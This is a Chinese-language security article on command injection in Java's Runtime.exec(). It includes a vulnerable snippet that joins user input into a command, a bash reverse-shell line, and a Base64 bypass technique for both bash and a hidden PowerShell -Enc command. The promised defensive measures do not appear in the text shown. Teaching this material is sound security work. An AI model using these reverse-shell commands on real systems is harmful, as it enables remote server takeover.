未经许可,不得转载。
文章目录
命令执行漏洞是指攻击者能够通过应用程序执行任意系统命令,从而控制服务器或获取敏感信息。这种漏洞通常发生在应用程序直接调用系统命令且未对用户输入进行严格过滤的情况下。本文将分析 Java 中的命令执行漏洞,并提供防范措施。
Java 执行系统命令的函数
在 Java 中,常用的执行系统命令的函数包括:
1、Runtime.getRuntime().exec()
通过 Runtime
类的 exec()
方法执行系统命令。
// 使用 Runtime.exec() 执行命令
Runtime.getRuntime().exec("ping " + userInput);
注意,在 Java 中,尽管可以使用 Runtime.getRuntime().exec() 执行系统命令,但与 PHP 不同的是,Java 会将传入到该函数的参数视为一个完整的字符串,而不会受到 Shell 特殊符号(如 &、;、|)的影响,从而在一定程度上降低了命令注入的风险。
在涉及 Runtime.exec() 类型的远程代码执行(RCE)时,如果需要反弹 Shell,则必须进行特殊处理。直接执行以下命令无法成功反弹 Shell:
原始命令(Linux 环境):
bash -i >& /dev/tcp/127.0.0.1/12345 0>&1
这是因为 Java 直接将参数传递给 exec()
,而不会经过 Shell 解析,因此必须对命令进行适当转换。可以使用 Base64 编码绕过限制,再通过 bash -c
进行解码和执行:
处理后的命令:
bash -c {
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{
base64,-d}|{
bash,-i}
对于 Windows 环境,PowerShell 反弹 Shell 也需要类似的处理。可以使用 -EncodedCommand
传递 Base64 编码后的命令:
处理后的 PowerShell 命令:
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwAuAGUAeABlAA==